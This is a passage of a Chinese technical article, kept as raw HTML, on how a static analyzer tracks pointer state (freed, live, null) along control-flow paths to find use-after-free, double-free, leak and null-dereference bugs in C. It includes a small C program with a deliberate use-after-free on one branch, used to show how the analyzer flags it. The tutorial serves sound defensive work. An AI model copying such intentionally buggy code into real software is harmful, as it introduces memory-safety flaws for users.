4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">&lt;uaf()&gt;</span></code><span leaf=""> 或 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">$p&lt;npd()&gt;</span></code><span leaf="">，拿到的是已经走完路径的结论，不是在源码里搜字符串。告警一般落在真正出错的那一次使用上。UAF 还会尽量带上是哪次 free 把它放掉的，数据流图里可以从使用点点回释放点。</span></p><div data-nest-level="2" data-pm-slice="6 2 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;visibility: visible;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 2px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;font-size: 18px;visibility: visible;"><p data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><strong data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-weight: bold;visibility: visible;">二、</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;style&#34;:&#34;color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">控制流怎么走进指针审计</span></strong></p></div></div></div><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">程序的执行过程可以看作</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">对一张共享状态表的持续演化</span></span></strong><span leaf="">。执行流依次进入各个函数，每个函数在被调用时读取当前状态，执行其逻辑，并将变更写回状态表。函数返回后，控制流并不重置或回溯，而是基于</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">更新后的状态</span></span></strong><span leaf="">决定后续分支的走向。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">换言之，这是一条单向推进的执行链：状态驱动决策，决策驱动路径，路径再次修改状态——循环往复，直至每个函数都会被走到。</span></p><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mtlcukku66t" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.501466275659824" data-s="300,640" data-type="png" data-w="682" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/jibGAup6p72EHDsAlJ3ZQ4ibnwEjaq4IC9lYkQtZ5KicwibzNU1boPOQNclt3V58Q7Ws2Rx5G3plvtf5pqgYDFJR7jC0lw2Vdy2mUYfyB3kjAYs/0?wx_fmt=png&amp;from=appmsg" data-cropselx2="562" data-cropsely2="844" data-imgfileid="100046498" src="https://wechat2rss.xlab.app/img-proxy/?k=69e24f81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72EHDsAlJ3ZQ4ibnwEjaq4IC9lYkQtZ5KicwibzNU1boPOQNclt3V58Q7Ws2Rx5G3plvtf5pqgYDFJR7jC0lw2Vdy2mUYfyB3kjAYs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">查的东西不一样，表上记的也不一样：</span></p><table style="border: none;border-collapse: collapse;width: 500px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">你在查</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">沿路记什么</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">两条路并到一起时</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">UAF、Double Free</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">这块内存还活着，还是已经释放</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">有一条路已经释放，并起来就算已经释放</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">内存泄漏</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">同样记活着 / 已释放</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">有一条路还活着，并起来就算可能还没释放</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">NPD</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">空、非空，还是说不准</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">if (p) 的两边先分开改，再继续走</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""> 沿路记什么 ： 这块内存还活着，还是已经释放 ；记活着 / 已释放 ； 空、非空，还是说不准 </span></p><div data-nest-level="2" data-pm-slice="6 9 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px -12px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">YAK</span></em></strong></p></div></div><div data-nest-level="2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 3px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 2px 12px 2px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;color: rgb(27, 27, 27);"><p data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;"><strong data-nest-level="9" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 15px;">2.1 UAF</span></span></strong></span></p></div></div></div></div></div><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">来看下面这个和 UAF 相关的案例：</span></p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="cpp"><code><span leaf=""><span class="code-snippet__meta">#</span><span class="code-snippet__meta"><span class="code-snippet__keyword">include</span></span><span class="code-snippet__meta"><span class="code-snippet__string">&lt;stdlib.h&gt;</span></span></span></code><br/><code><span leaf=""><span class="code-snippet__function"><span class="code-snippet__type">int</span></span><span class="code-snippet__function"><span class="code-snippet__title">main</span></span><span class="code-snippet__function"><span class="code-snippet__params">(</span></span><span class="code-snippet__function"><span class="code-snippet__params"><span class="code-snippet__type">int</span></span></span><span class="code-snippet__function"><span class="code-snippet__params"> abrt)</span></span>{</span></code><br/><code><span leaf="">    <span class="code-snippet__type">int</span> *p = (<span class="code-snippet__type">int</span>*)<span class="code-snippet__built_in">malloc</span>(<span class="code-snippet__built_in">sizeof</span>(<span class="code-snippet__type">int</span>));</span></code><br/><code><span leaf="">    *p = <span class="code-snippet__number">10</span>;</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">if</span> (abrt) {</span></code><br/><code><span leaf="">        <span class="code-snippet__built_in">free</span>(p);</span></code><br/><code><span leaf="">        *p = <span class="code-snippet__number">20</span>;   <span class="code-snippet__comment">// 这条路上：刚 free 完又写，UAF</span></span></code><br/><code><span leaf="">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">1</span>;</span></code><br/><code><span leaf="">    }</span></code><br/><code><span leaf="">    <span class="code-snippet__built_in">free</span>(p);       <span class="code-snippet__comment">// 另一条路：free 完直接返回，没有再用</span></span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span></code><br/><code><span leaf="">}</span></code><br/></pre></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mtlcwsui1lku" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.501466275659824" data-s="300,640" data-type="png" data-w="682" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046502" src="https://wechat2rss.xlab.app/img-proxy/?k=0403266f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72FuZmiaYniaESM0bQtPhPZTcYVwzfNV4TJZKlHGfwcWTfKlNfX46e3USea5dQ7wQiaqV0qZWO1vvRgW0nBxv7iazVbUz88e0be8WLQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">malloc</span></code><span leaf=""> 之后 p 指向一块活着的内存，因此 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">*p = 10</span></code><span leaf=""> 没问题。然后 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">if (abrt)</span></code><span leaf=""> 分成两叉。走进 then：先 free，再 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">*p = 20</span></code><span leaf="">。状态已经是「释放了」，这次写入就是 UAF，接着 return 1，这条路结束。另一边只 free 再返回。后面没人再用，不报 UAF，也不报泄漏。</span></p><div data-nest-level="2" data-pm-slice="6 9 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px -12px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">YAK</span></em></strong></p></div></div><div data-nest-level="2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 3px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 2px 12px 2px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;color: rgb(27, 27, 27);"><p data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;"><strong data-nest-level="9" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 